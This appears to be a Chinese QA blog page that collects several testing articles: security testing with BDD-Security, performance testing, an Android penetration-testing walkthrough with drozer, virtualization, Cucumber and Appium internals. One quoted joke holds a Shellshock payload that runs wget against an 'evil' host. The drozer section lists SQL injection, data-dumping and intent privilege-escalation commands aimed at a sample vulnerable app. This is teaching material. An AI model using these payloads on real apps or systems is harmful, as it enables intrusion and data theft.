qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

2014年12月8日

在开发流程中嵌入安全测试

 ContinuumSecurity创始人Stephen de Vries,在Velocity Europe 2014大会上提出了持续且可视化的安全测试的观点。Stephen表示,那些在敏捷开发过程中用于将QA嵌入整个开发流程的方法和工具都能同样的用于安全测试。BDD-Security是一个基于JBehave,且遵循Given-When-Then方法的安全测试框架。
  传统的安全测试都遵循瀑布流程,也就是说安全团队总是在开发阶段的末期才参与进来,并且通常需要外部专家的帮助。在整个开发流程中,渗透测试总是被安排到很晚才做,使得为应用做安全防范的任务尤其困难且复杂。Stephen认为安全测试完全可以变得像QA一样:每个人都对安全问题负责;安全问题可以在更接近代码的层面考虑;安全测试完全可以嵌入一个持续集成的开发过程中。
  为了论证QA和安全测试只有量的区别而没有质的区别,Stephen展示了C. Maartmann-Moe和Bill Sempf分别发布的推特:
  从QA的角度:
  QA工程师走进一家酒吧,点了一杯啤酒;点了0杯啤酒;点了999999999杯啤酒;点了一只蜥蜴;点了-1杯啤酒;点了一个sfdeljknesv。
  从安全的角度:
  渗透测试工程师走进一家酒吧,点了一杯啤酒;点了”>杯啤酒;点了’or 1=1-杯啤酒;点了() { :; }; wget -O /beers http://evil; /杯啤酒。  要将安全测试集成进敏捷开发流程中,首先需要满足的条件是:可见性,以便采取及时应对措施并修补;可测试性,以便于自动化,比仅仅简单的扫描更有价值。Stephen发现BDD工具族就同时满足了可见性及可测试性,因此他开始着手构建BDD-Security安全测试框架。
  由于BDD-Security是基于JBehave构建的,因此它使用BDD的标准说明语言Gherkin。一个BDD-Security测试场景如下:
  Scenario: Transmit authentication credentials over HTTPS
  Meta: @id auth_https
  Given the browser is configured to use an intercepting proxy
  And the proxy logs are cleared
  And the default user logs in with credentials from: users.table
  And the HTTP request-response containing the default credentials is inspected
  Then the protocol should be HTTPS
  BDD-Security用户故事的编写与通常做法不太一样。BDD-Security说明页面上写着:
  本框架的架构设计使得安全用例故事与应用的特定导航逻辑相互独立,这意味着同一个用户故事仅需要做微小的改动就能用在多个应用中,有时甚至无需修改。
  这也说明BDD-Security框架认为对许多应用来说,有一系列安全需求都是普遍要满足的。也就是说你只需写代码把已有的故事插入你的应用——也就是导航逻辑中即可。当然,必要的时候你也完全可以编写自己的用户故事。
  BDD-Security依赖于第三方安全测试工具来执行具体的安全相关的行为,例如应用扫描。这些工具有OWASP ZAP或Nessus等。
  Stephen还提到其它一些有类似功能的工具。如Zap-WebDriver就是一款更简单的工具,不喜欢BDD方式的人可以考虑采用它。Gauntlt与BDD-Security框架类似,同样支持BDD,只是它使用的编程语言是Ruby。Mittn用Python编写并且同样也使用Gherkin。

posted @ 2015-03-18 22:10 顺其自然EVO 阅读(3278) | 评论 (0)编辑 收藏

如何进行Web服务的性能测试?

  随着浏览器功能的不断完善,用户量不断的攀升,涉及到web服务的功能在不断的增加,对于我们测试来说,我们不仅要保证服务端功能的正确性,也要验证服务端程序的性能是否符合要求。那么性能测试都要做些什么呢?我们该怎样进行性能测试呢?
  性能测试一般会围绕以下这些问题而进行:
  1. 什么情况下需要做性能测试?
  2. 什么时候做性能测试?
  3. 做性能测试需要准备哪些内容?
  4. 什么样的性能指标是符合要求的?
  5. 性能测试需要收集的数据有哪些?
  6. 怎样收集这些数据?
  7. 如何分析收集到的数据?
  8. 如何给出性能测试报告?
  性能测试的执行过程及要做的事儿主要包含以下内容:
  1. 测试评估阶段
  在这个阶段,我们要评估被测的产品是否要进行性能测试,并且对目前的服务器环境进行粗估,服务的性能是否满足条件。
  首先要明确只要涉及到准备上线的服务端产品,就需要进行性能测试。其次如果产品需求中明确提到了性能指标,那也必须要做性能测试。
  测试人员在进行性能测试前,需要根据当前的收集到的各种信息,预先做性能的评估,收集的内容主要包括带宽、请求包大小、并发用户数和当前web服务的带宽等
  2. 测试准备阶段
  在这个阶段,我们要了解以下内容:
  a. 服务器的架构是什么样的,例如:web服务器是什么?是如何配置的?数据库用的是什么?服务用的是什么语言编写的?;
  b. 服务端功能的内部逻辑实现;
  c. 服务端与数据库是如何交互的,例如:数据库的表结构是什么样的?服务端功能是怎样操作数据库的?
  d. 服务端与客户端之间是如何进行交互的,即接口定义;
  通过收集以上信息,测试人员整理出服务器端各模块之间的交互图,客户端与服务端之间的交互图以及服务端内部功能逻辑实现的流程图。
  e. 该服务上线后的用户量预估是多少,如果无法评估出用户量,那么可以通过设计测试执行的场景得出这个值;
  f. 上线要部署到多少台机器上,每台机器的负载均衡是如何设计的,每台机器的配置什么样的,网络环境是什么样的。
  g. 了解测试环境与线上环境的不同,例如网络环境、硬件配置等
  h. 制定测试执行的策略,是需要验证需求中的指标能否达到,还是评估系统的最大处理能力。
  i. 沟通上线的指标
  通过收集以上信息,确定性能测试用例该如何设计,如何设计性能测试用例执行的场景,以及上线指标的评估。
  3. 测试设计阶段
  根据测试人员通过之前整理的交互图和流程图,设计相应的性能测试用例。性能测试用例主要分为预期目标用户测试,用户并发测试,疲劳强度与大数量测试,网络性能测试,服务器性能测试,具体编写的测试用例要更具实际情况进行裁减。
  用例编写的步骤大致分为:
  a. 通过脚本模拟单一用户是如何使用这个web服务的。这里模拟的可以是用户使用web服务的某一个动作或某几个动作,某一个功能或几个功能,也可以是使用web服务的整个过程。
  b. 根据客户端的实际情况和服务器端的策略,通过将脚本中可变的数据进行参数化,来模拟多个用户的操作。
  c. 验证参数化后脚本功能的正确性。
  d. 添加检查点
  e. 设计脚本执行的策略,如每个功能的执行次数,各个功能的执行顺序等
  4. 测试执行阶段
  根据客户端的产品行为设计web服务的测试执行场景及测试执行的过程,即测试执行期间发生的事儿。通过监控程序收集web服务的性能数据和web服务所在系统的性能数据。
  在测试执行过程中,还要不断的关注以下内容:
  a. web服务的连接速度如何?
  b. 每秒的点击数如何?
  c. Web服务能允许多少个用户同时在线?
  d. 如果超过了这个数量,会出现什么现象?
  e. Web服务能否处理大量用户对同一个页面的请求?
  f. 如果web服务崩溃,是否会自动恢复?
  g. 系统能否同一时间响应大量用户的请求?
  h. 打压机的系统负载状态。
  5. 测试分析阶段
  将收集到的数据制成图表,查看各指标的性能变化曲线,结合之前确定的上线指标,对各项数据进行分析,已确定是否继续对web服务进行测试,结果是否达到了期望值。
  6. 测试验证阶段
  在开发针对发现的性能问题进行修复后,要再执行性能测试的用例对问题进行验证。这里需要关注的是开发在解决问题的同时可能无意中修改了某些功能,所以在验证性能的同时,也要关注原有功能是否受到了影响

posted @ 2015-03-18 22:08 顺其自然EVO 阅读(3043) | 评论 (1)编辑 收藏

利用drozer进行Android渗透测试

 一、安装与启动
  1. 安装
  第一步:从http://mwr.to/drozer下载Drozer (Windows Installer)
  第二步:在Android设备中安装agent.apk
  adb install agent.apk
  2. 启动
  第一步:在PC上使用adb进行端口转发,转发到Drozer使用的端口31415
  adb forward tcp:31415 tcp:31415
  第二步:在Android设备上开启Drozer Agent
  选择embedded server-enable
  第三步:在PC上开启Drozer console
  drozer console connect
  二、测试步骤
  1.获取包名
  dz> run app.package.list -f sieve
  com.mwr.example.sieve
  2.获取应用的基本信息
  run app.package.info -a com.mwr.example.sieve
  3.确定攻击面
  run app.package.attacksurface com.mwr.example.sieve
  4.Activity
  (1)获取activity信息
  run app.activity.info -a com.mwr.example.sieve
  (2)启动activity
  run app.activity.start --component com.mwr.example.sieve
  dz> help app.activity.start
  usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
  [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
  [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
  [--mimetype MIMETYPE]
  5.Content Provider
  (1)获取Content Provider信息
  run app.provider.info -a com.mwr.example.sieve
  (2)Content Providers(数据泄露)
  先获取所有可以访问的Uri:
  run scanner.provider.finduris -a com.mwr.example.sieve
  获取各个Uri的数据:
  run app.provider.query
  content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
  查询到数据说明存在漏洞
  (3)Content Providers(SQL注入)
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
  报错则说明存在SQL注入。
  列出所有表:
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
  获取某个表(如Key)中的数据:
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
  (4)同时检测SQL注入和目录遍历
  run scanner.provider.injection -a com.mwr.example.sieve
  run scanner.provider.traversal -a com.mwr.example.sieve
  6 intent组件触发(拒绝服务、权限提升)
  利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。
  1.查看暴露的广播组件信息:
  run app.broadcast.info -a com.package.name  获取broadcast receivers信息
  run app.broadcast.send --component 包名 --action android.intent.action.XXX
  2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):
  run app.broadcast.send 通过intent发送broadcast receiver
  (1)   空action
  run app.broadcast.send --component 包名 ReceiverName
  run app.broadcast.send --component 包名 ReceiverName
  (2)   空extras
  run app.broadcast.send --action android.intent.action.XXX
  3.尝试权限提升
  权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:
  (1)获取service详情
  run app.service.info -a com.mwr.example.sieve
  不使用drozer启动service
  am startservice –n 包名/service名
  (2)权限提升
  run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
  7.文件操作
  列出指定文件路径里全局可写/可读的文件
  run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
  run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
  run app.broadcast.send --component 包名 --action android.intent.action.XXX
  8.其它模块
  shell.start 在设备上开启一个交互shell
  tools.file.upload / tools.file.download 上传/下载文件到设备
  tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件

posted @ 2015-03-18 22:06 顺其自然EVO 阅读(5956) | 评论 (0)编辑 收藏

在服务器虚拟化架构中有哪些技术功能和益处

关于服务器虚拟化的概念,业界有不同的定义,但其核心是一致的,即它是一种方法,能够在整合多个应用服务的同时,通过区分应用服务的优先次序将服务器资源分配给最需要它们的工作负载来简化管理和提高效率。其主要功能包括以下四个方面:
  集成整合功能。虚拟化服务器主要是由物理服务器和虚拟化程序构成的,通过把一台物理服务器划分为多个虚拟机,或者把若干个分散的物理服务器虚拟为一个整体逻辑服务器,从而将多个操作系统和应用服务整合到强大的虚拟化架构上。
  动态迁移功能。这里所说的动态迁移主要是指V2V(虚拟机到虚拟机的迁移)技术。具体来讲,当某一个服务器因故障停机时,其承载的虚拟机可以自动切换到另一台虚拟服务器,而在整个过程中应用服务不会中断,实现系统零宕机在线迁移。
  资源分配功能。虚拟化架构技术中引入了动态资源调度技术,系统将所有虚拟服务器作为一个整体资源统一进行管理,并按实际需求自动进行动态资源调配,在保证系统稳定运行的前提下,实现资源利用最大化。
  强大的管理控制界面。通过可视化界面实时监控物理服务器以及各虚拟机的运行情况,实现对全部虚拟资源的管理、维护及部署等操作。
  服务器虚拟化的益处
  采用服务器虚拟化技术的益处主要表现在以下几个方面。
  节省采购费用。通过虚拟化技术对应用服务器进行整合,可以大幅缩减企业在采购环节的开支,在硬件环节可以为企业节省34%~80%的采购成本。
  同时,还可以节省软件采购费用。软件许可成本是企业不可忽视的重要支出。而随着微软、红帽等软件巨头的加入,虚拟化架构技术在软件成本上的优势也逐渐得以体现。
  降低系统运行维护成本。由于虚拟化在整合服务器的同时采用了更为出色的管理工具,减少了管理维护人员在网络、线路、软硬件维护方面的工作量,信息部门得以从传统的维护管理工作中解放出来,将更多的时间和精力用于推动创新工作和业务增长等活动,这也为企业带来了利益。
  通过虚拟化技术可以减少物理服务器的数量,这就意味着企业机房耗电量、散热量的降低,同时还为企业节省了空调、机房配套设备的改造升级费用。
  提高资源利用率。保障业务系统的快速部署是信息化工作的一项重要指标,而传统模式中服务器的采购安装周期较长,一定程度上限制了系统部署效率。利用虚拟化技术,可以快速搭建虚拟系统平台,大幅缩减部署筹备时间,提高工作效率。
  由于虚拟化服务器具有动态资源分配功能,因此当一台虚拟机的应用负载趋于饱和时,系统会根据之前定义的分配规则自动进行资源调配。根据大部分虚拟化技术厂商提供的数据指标来看,通过虚拟化整合服务器后,资源平均利用率可以从5%~15%提高到60%~80%。
  提高系统的安全性。传统服务器硬件维护通常需要数天的筹备期和数小时的维护窗口期。而在虚拟化架构技术环境下,服务器迁移只需要几秒钟的时间。由于迁移过程中服务没有中断,管理员无须申请系统停机,在降低管理维护工作量的同时,提高系统运行连续性。
  目前虚拟化主流技术厂商均在其虚拟化平台中引入数据快照以及虚拟存储等安全机制,因此在数据安全等级和系统容灾能力方面,较原有单机运行模式有了较大提高。

目前 我司正在应用aws 确实很不错,节省成本 服务稳定,比什么阿里云 强了不知道多少倍

posted @ 2015-03-18 22:03 顺其自然EVO 阅读(1846) | 评论 (1)编辑 收藏

阅读《测试用例指南》笔记

1.测试用例 :分有基本流和备选流。
  2.要先确定测试用例描述,再在测试用例 实施矩阵中确定相应的测试用例数据。
  3.从补充规约中生成测试用例
  (1)为性能测试生成测试用例
  (2)为安全性/访问控制测试生成测试用例
  关键:先指定执行用例的主角
  (3)为配置测试生成测试用例
  主要是为了核实测试目标在不同的配置情况下(如不同的OS,Browser,CPU速度等)是否能正常 地 工作或执行。
  针对第个关键配置,每个可能有问题的配置都至少应该有一个测试用例。
  (4)为安装测试生成测试用例
  a.需要对以下各种安装情况设计测试用例:
  分发介质(如磁盘,CD-ROM和文件服务器)
  首次安装
  完全安装
  自定义安装
  升级安装
  b.测试目标应包括所有构件的安装
  客户机,中间层,服务器
  (5)为其他非功能性测试生成测试用例
  如操作测试,对性能瓶颈,系统容量或测试目标的强度承受能力进行调查的测试用例
  4.在白盒测试黑盒测试的同时都应该进行可靠性测试。
  5.为产品验收测试生成测试用例
  6.为回归测试编制测试用例
  a.回归测试是比较同一测试目标的两个版本或版本,并将将差异确定为潜在的缺陷。
  b.为使测试用例发挥回归测试和复用的价值,同时将维护成本减至最低,应:
  确保测试用例只确定关键的数据元素(创建/支持被测试的条件支持的测上试用例)
  确保每个测试用例都说明或代表一个唯一的输入集或事件序列,其结果是独特的测试目标行为
  消除多余或等效的测试用例
  将具有相同的测试目标初始状态和测试数据状态的测试用例组合在一起

posted @ 2015-03-18 22:00 顺其自然EVO 阅读(1772) | 评论 (0)编辑 收藏

行为驱动开发: Cucumber的目录结构和执行过程

行为驱动开发: Cucumber的目录结构和执行过程

      Cucumber是Ruby世界的BDD框架,开发人员主要与两类文件打交到,Feature文件和相应的Step文件。Feature文件是以feature为后缀名的文件,以Given-When-Then的方式描述了系统的场景(scenarios)行为;Step文件为普通的Ruby文件,Feature文件中的每个Given/When/Then步骤在Step文件中都有对应的Ruby执行代码,两类文件通过正则表达式相关联。笔者在用Cucumber+Watir做回归测试时对Cucumber工程的目录结构执行过程进行了研究。

安装好Cucumber后,如果在终端直接执行cucumber命令,得到以下输出:

输出结果表明:cucumber期待当前目录下存在名为features的子目录。建好features文件夹后,重新执行cucumber命令,输出如下:

Cucumber运行成功,但由于features文件夹下没有任何内容,故得到上述输出结果。

网上大多数关于Cucumber的教程都建议采用以下目录结构,所有的文件(夹)都位于features文件夹下。

Feature文件(如test.feature)直接位于features文件夹下,可以为每个应用场景创建一个Feature文件;与Feature文件对应的Step文件(如test.rb)位于step_definitions子文件夹下;同时,存在support子文件夹,其下的env.rb文件为环境配置文件。在这样的目录结构条件下执行cucumber命令,会首先执行env.rb做前期准备工作,比如可以用Watir新建浏览器窗口,然后Cucumber将test.rb文件读入内存,最后执行test.feature文件,当遇到Given/When/Then步骤时,Cucumber将在test.rb中搜索是否有相应的step,如果有,则执行相应的Ruby代码。

这样的目录结构只是推荐的目录结构,笔者通过反复的试验得出了以下结论:对于Cucumber而言,除了顶层的features文件夹是强制性的之外,其它目录结构都不是强制性的,Cucumber将对features文件夹下的所有内容进行扁平化(flatten)处理和首字母排序。具体来说,Cucumber在运行时,首先将递归的执行features文件夹下的所有Ruby文件(其中则包括Step文件),然后通过相同的方式执行Feature文件。但是,如果features文件夹下存在support子文件夹,并且support下有名为env.rb的文件,Cucumber将首先执行该文件,然后执行support下的其它文件,再递归执行featues下的其它文件。

比如有如下Cucumber目录结构:

为了方便记录Cucumber运行时的文件执行顺序,在features文件夹下的所有Ruby文件中加上以下代码:

puts File.basename(__FILE__)

此行代码的作用是在一个Ruby文件执行时输出该文件的名字,此时执行cucumber命令,得到以下输出(部分)结果:

上图即为Ruby文件的执行顺序,可以看出,support文件夹下env.rb文件首先被执行,其次按照字母排序执行c.rb和d.rb;接下来,Cucumber将features文件夹下的所用文件(夹)扁平化,并按字母顺序排序,从而先执行a.rb和b.rb,而由于other文件夹排在step_definitions文件夹的前面,所以先执行other文件夹下的Ruby文件(也是按字母顺序执行:先f.rb,然后g.rb),最后执行step_definitions下的e.rb。

当执行完所有Ruby文件后,Cucumber开始依次读取Feature文件,执行顺序也和前述一样,即: a.feature --> b.feature --> c.feature

笔者还发现,这些Ruby文件甚至可以位于features文件夹之外的任何地方,只是需要在位于features文件夹之内的Ruby文件中require一下,比如在env.rb中。

posted @ 2014-12-28 01:29 顺其自然EVO 阅读(2458) | 评论 (0)编辑 收藏

Appium Android Bootstrap之控件AndroidElement

AndroidElementHash的这个getElement命令要做的事情就是针对这两点来根据不同情况获得目标控件
/**
* Return an elements child given the key (context id), or uses the selector
* to get the element.
*
* @param sel
* @param key
*          Element id.
* @return {@link AndroidElement}
* @throws ElementNotFoundException
*/
public AndroidElement getElement(final UiSelector sel, final String key)
throws ElementNotFoundException {
AndroidElement baseEl;
baseEl = elements.get(key);
UiObject el;
if (baseEl == null) {
el = new UiObject(sel);
} else {
try {
el = baseEl.getChild(sel);
} catch (final UiObjectNotFoundException e) {
throw new ElementNotFoundException();
}
}
if (el.exists()) {
return addElement(el);
} else {
throw new ElementNotFoundException();
}
}
  如果是第1种情况就直接通过选择子构建UiObject对象,然后通过addElement把UiObject对象转换成AndroidElement对象保存到控件哈希表
  如果是第2种情况就先根据appium传过来的控件哈希表键值获得父控件,再通过子控件的选择子在父控件的基础上查找到目标UiObject控件,最后跟上面一样把该控件通过上面的addElement把UiObject控件转换成AndroidElement控件对象保存到控件哈希表
  4. 求证
  上面有提过,如果pc端的脚本执行对同一个控件的两次findElement会创建两个不同id的AndroidElement并存放到控件哈希表中,那么为什么appium的团队没有做一个增强,增加一个keyMap的方法(算法)和一些额外的信息来让同一个控件使用不同的key的时候对应的还是同一个AndroidElement控件呢?毕竟这才是哈希表实用的特性之一了,不然你直接用一个Dictionary不就完事了?网上说了几点hashtable和dictionary的差别,如多线程环境最好使用哈希表而非字典等,但在bootstrap这个控件哈希表的情况下我不是很信服这些说法,有谁清楚的还劳烦指点一二了
  这里至于为什么appium不去提供额外的key信息并且实现keyMap算法,我个人倒是认为有如下原因:
  有谁这么无聊在同一个测试方法中对同一个控件查找两次?
  如果同一个控件运用不同的选择子查找两次的话,因为最终底层的UiObject的成员变量UiSelector mSelector不一样,所以确实可以认为是不同的控件
  但以下两个如果用同样的UiSelector选择子来查找控件的情况我就解析不了了,毕竟在我看来bootstrap这边应该把它们看成是同一个对象的:
  同一个脚本不同的方法中分别对同一控件用同样的UiSelelctor选择子进行查找呢?
  不同脚本中呢?
  这些也许在今后深入了解中得到解决,但看家如果知道的,还望不吝赐教
  5. 小结
  最后我们对bootstrap的控件相关知识点做一个总结
  AndroidElement的一个实例代表了一个bootstrap的控件
  AndroidElement控件的成员变量UiObject el代表了uiautomator框架中的一个真实窗口控件,通过它就可以直接透过uiautomator框架对控件进行实质性操作
  pc端的WebElement元素和Bootstrap的AndroidElement控件是通过AndroidElement控件的String id进行映射关联的
  AndroidElementHash类维护了一个以AndroidElement的id为键值,以AndroidElement的实例为value的全局唯一哈希表,pc端想要获得一个控件的时候会先从这个哈希表查找,如果没有了再创建新的AndroidElement控件并加入到该哈希表中,所以该哈希表中维护的是一个当前已经使用过的控件
相关文章:
Appium Android Bootstrap源码分析之简介
 通过上一篇文章Appium Android Bootstrap源码分析之简介》我们对bootstrap的定义以及其在appium和uiautomator处于一个什么样的位置有了一个初步的了解,那么按照正常的写书的思路,下一个章节应该就要去看bootstrap是如何建立socket来获取数据然后怎样进行处理的了。但本人觉得这样子做并不会太好,因为到时整篇文章会变得非常的冗长,因为你在编写的过程中碰到不认识的类又要跳入进去进行说明分析。这里我觉得应该尝试吸取著名的《重构》这本书的建议:一个方法的代码不要写得太长,不然可读性会很差,尽量把其分解成不同的函数。那我们这里就是用类似的思想,不要尝试在一个文章中把所有的事情都做完,而是尝试先把关键的类给描述清楚,最后才去把这些类通过一个实例分析给串起来呈现给读者,这样大家就不会因为一个文章太长影响可读性而放弃往下学习了。
  那么我们这里为什么先说bootstrap对控件的处理,而非刚才提到的socket相关的socket服务器的建立呢?我是这样子看待的,大家看到本人这篇文章的时候,很有可能之前已经了解过本人针对uiautomator源码分析那个系列的文章了,或者已经有uiautomator的相关知识,所以脑袋里会比较迫切的想知道究竟appium是怎么运用了uiautomator的,那么在appium中于这个问题最贴切的就是appium在服务器端是怎么使用了uiautomator的控件的。
  这里我们主要会分析两个类:
  AndroidElement:代表了bootstrap持有的一个ui界面的控件的类,它拥有一个UiObject成员对象和一个代表其在下面的哈希表的键值的String类型成员变量id
  AndroidElementsHash:持有了一个包含所有bootstrap(也就是appium)曾经见到过的(也就是脚本代码中findElement方法找到过的)控件的哈希表,它的key就是AndroidElement中的id,每当appium通过findElement找到一个新控件这个id就会+1,Appium的pc端和bootstrap端都会持有这个控件的id键值,当需要调用一个控件的方法时就需要把代表这个控件的id键值传过来让bootstrap可以从这个哈希表找到对应的控件
  1. AndroidElement和UiObject的组合关系
  从上面的描述我们可以知道,AndroidElement这个类里面拥有一个UiObject这个变量:
  public class AndroidElement {
  private final UiObject el;
  private String         id;
  ...
  }
  大家都知道UiObject其实就是UiAutomator里面代表一个控件的类,通过它就能够对控件进行操作(当然最终还是通过UiAutomation框架). AnroidElement就是通过它来跟UiAutomator发生关系的。我们可以看到下面的AndroidElement的点击click方法其实就是很干脆的调用了UiObject的click方法:
  public boolean click() throws UiObjectNotFoundException {
  return el.click();
  }
  当然这里除了click还有很多控件相关的操作,比如dragTo,getText,longClick等,但无一例外,都是通过UiObject来实现的,这里就不一一列举了。
  2. 脚本的WebElement和Bootstrap的AndroidElement的映射关系
  我们在脚本上对控件的认识就是一个WebElement:
  WebElement addNote =  driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
  而在Bootstrap中一个对象就是一个AndroidElement. 那么它们是怎么映射到一起的呢?我们其实可以先看如下的代码:
  WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
  addNote.getText();
  addNote.click();
  做的事情就是获得Notes这个app的菜单,然后调用控件的getText来获得‘Add note'控件的文本信息,以及通过控件的click方法来点击该控件。那么我们看下调试信息是怎样的:

pc端传过来的json字串有几个fields:
  cmd:代表这个是什么命令类型,其实就是AndroidCommandType的那两个值
  package io.appium.android.bootstrap;
  /**
  * Enumeration for all the command types.
  *
  */
  public enum AndroidCommandType {
  ACTION, SHUTDOWN
  }
  action: 具体命令
  params: 提供的参数,这里提供了一个elementId的键值对
  从上面的两条调试信息看来,其实没有明显的看到究竟使用的是哪个控件。其实这里不起眼的elementId就是确定用的是哪个控件的,注意这个elementId并不是一个控件在界面上的资源id,它其实是Bootstrap维护的一个保存所有已经获取过的控件的哈希表的键值。如上一小节看到的,每一个AndroidElement都有两个重要的成员变量:
  UiObject el :uiautomator框架中代表了一个真实的窗口控件
  Sting id :  一个唯一的自动增加的字串类型整数,pc端就是通过它来在AndroidElementHash这个类中找到想要的控件的
  3. AndroidElement控件哈希表
  上一节我们说到appium pc端是通过id把WebElement和目标机器端的AndroidElement映射起来的,那么我们这一节就来看下维护AndroidElement的这个哈希表是怎么实现的。
  首先,它拥有两个成员变量:
  private final Hashtable<String, AndroidElement> elements;
  private       Integer                           counter;
  elements :一个以AndroidElement 的id的字串类型为key,以AndroidElement的实例为value的的哈希表
  counter : 一个整型变量,有两个作用:其一是它代表了当前已经用到的控件的数目(其实也不完全是,你在脚本中对同一个控件调用两次findElement其实会产生两个不同id的AndroidElement控件),其二是它代表了一个新用到的控件的id,而这个id就是上面的elements哈希表的键
  这个哈希表的键值都是从0开始的,请看它的构造函数:
  /**
  * Constructor
  */
  public AndroidElementsHash() {
  counter = 0;
  elements = new Hashtable<String, AndroidElement>();
  }
  而它在整个Bootstrap中是有且只有一个实例的,且看它的单例模式实现:
  public static AndroidElementsHash getInstance() {
  if (AndroidElementsHash.instance == null) {
  AndroidElementsHash.instance = new AndroidElementsHash();
  }
  return AndroidElementsHash.instance;
  }
  以下增加一个控件的方法addElement充分描述了为什么说counter是一个自增加的key,且是每个新发现的AndroidElement控件的id:
  public AndroidElement addElement(final UiObject element) {
  counter++;
  final String key = counter.toString();
  final AndroidElement el = new AndroidElement(key, element);
  elements.put(key, el);
  return el;
  }
  从Appium发过来的控件查找命令大方向上分两类:
  1. 直接基于Appium Driver来查找,这种情况下appium发过来的json命令是不包含控件哈希表的键值信息的
  WebElement addNote = driver.findElement(By.name("Add note"));
  2. 基于父控件查找:
  WebElement el = driver.findElement(By.className("android.widget.ListView")).findElement(By.name("Note1"));
  以上的脚本会先尝试找到Note1这个日记的父控件ListView,并把这个控件保存到控件哈希表,然后再根据父控件的哈希表键值以及子控件的选择子找到想要的Note1:

posted @ 2014-12-23 00:26 顺其自然EVO 阅读(2516) | 评论 (0)编辑 收藏

Appium Android Bootstrap源码分析之命令解析执行

通过上一篇文章Appium Android Bootstrap源码分析之控件AndroidElement》我们知道了Appium从pc端发送过来的命令如果是控件相关的话,最终目标控件在bootstrap中是以AndroidElement对象的方式呈现出来的,并且该控件对象会在AndroidElementHash维护的控件哈希表中保存起来。但是appium触发一个命令除了需要提供是否与控件相关这个信息外,还需要其他的一些信息,比如,这个是什么命令?这个就是我们这篇文章需要讨论的话题了。
  下面我们还是先看一下从pc端发过来的json的格式是怎么样的:
  可以看到里面除了params指定的是哪一个控件之外,还指定了另外两个信息:
  cmd: 这是一个action还是一个shutdown
  action:如果是一个action的话,那么是什么action
  开始前我们先简要描述下我们需要涉及到几个关键类:
1. Appium命令解析器AndroidCommand
  AndroidCommand这个类真实的作用其实就是去把Appium从pc端发送过来的那串json命令解析出来,它拥有两个成员变量:
  JSONObject         json;
  AndroidCommandType cmdType;
  json就是pc过来的json格式的那串命令,cmdType就是action或者shutdown,其实就是用来把这个类伪装成更像个命令类而已,我认为如果不提供这个成员变量而直接修改其getType的实现去解析json字串直接获得对应的AndroidCommandType,然后把这个类的名字改成AndroidCommandParser得了。
  那么我们往下看下AndroidCommand究竟是怎么对客户端命令进行解析的,它的方法都很短,所以我把它做成一个表,这样比较清晰点:
  从表中的这些方法可以看出来,这个类所做的事情基本上都是怎么去解析appium从pc端过来的那串json字串。

  2. Action与CommandHandler的映射关系
  从上面描述可以知道,一个action就是一个代表该命令的字串,比如‘click’。但是一个字串是不能去执行的啊,所以我们需要有一种方式把它转换成可以执行的代码,这个就是AndroidCommandExecutor维护的一个静态HashMap map所做的事情:
class AndroidCommandExecutor {
private static HashMap<String, CommandHandler> map = new HashMap<String, CommandHandler>();
static {
map.put("waitForIdle", new WaitForIdle());
map.put("clear", new Clear());
map.put("orientation", new Orientation());
map.put("swipe", new Swipe());
map.put("flick", new Flick());
map.put("drag", new Drag());
map.put("pinch", new Pinch());
map.put("click", new Click());
map.put("touchLongClick", new TouchLongClick());
map.put("touchDown", new TouchDown());
map.put("touchUp", new TouchUp());
map.put("touchMove", new TouchMove());
map.put("getText", new GetText());
map.put("setText", new SetText());
map.put("getName", new GetName());
map.put("getAttribute", new GetAttribute());
map.put("getDeviceSize", new GetDeviceSize());
map.put("scrollTo", new ScrollTo());
map.put("find", new Find());
map.put("getLocation", new GetLocation());
map.put("getSize", new GetSize());
map.put("wake", new Wake());
map.put("pressBack", new PressBack());
map.put("pressKeyCode", new PressKeyCode());
map.put("longPressKeyCode", new LongPressKeyCode());
map.put("takeScreenshot", new TakeScreenshot());
map.put("updateStrings", new UpdateStrings());
map.put("getDataDir", new GetDataDir());
map.put("performMultiPointerGesture", new MultiPointerGesture());
map.put("openNotification", new OpenNotification());
map.put("source", new Source());
map.put("compressedLayoutHierarchy", new CompressedLayoutHierarchy());
}
  这个map指定了我们支持的pc端过来的所有action,以及对应的处理该action的类的实例,其实这些类都是CommandHandler的子类基本上就只有一个:去实现CommandHandler的虚拟方法execute!要做的事情就大概就这几类:
  控件相关的action:调用AndroidElement控件的成员变量UiObject el对应的方法来执行真实的操作
  UiDevice相关的action:调用UiDevice提供的方法
  UiScrollable相关的action:调用UiScrollable提供的方法
  UiAutomator那5个对象都没有的action:该调用InteractionController的就反射调用,该调用QueryController的就反射调用。注意这两个类UiAutomator是没有提供直接调用的方法的,所以只能通过反射。更多这两个类的信息请翻看之前的UiAutomator源码分析相关的文章
  其他:如取得compressedLayoutHierarchy
  指导action向CommandHandler真正发生转换的地方是在这个AndroidCommandExecutor的execute方法中:
public AndroidCommandResult execute(final AndroidCommand command) {
try {
Logger.debug("Got command action: " + command.action());
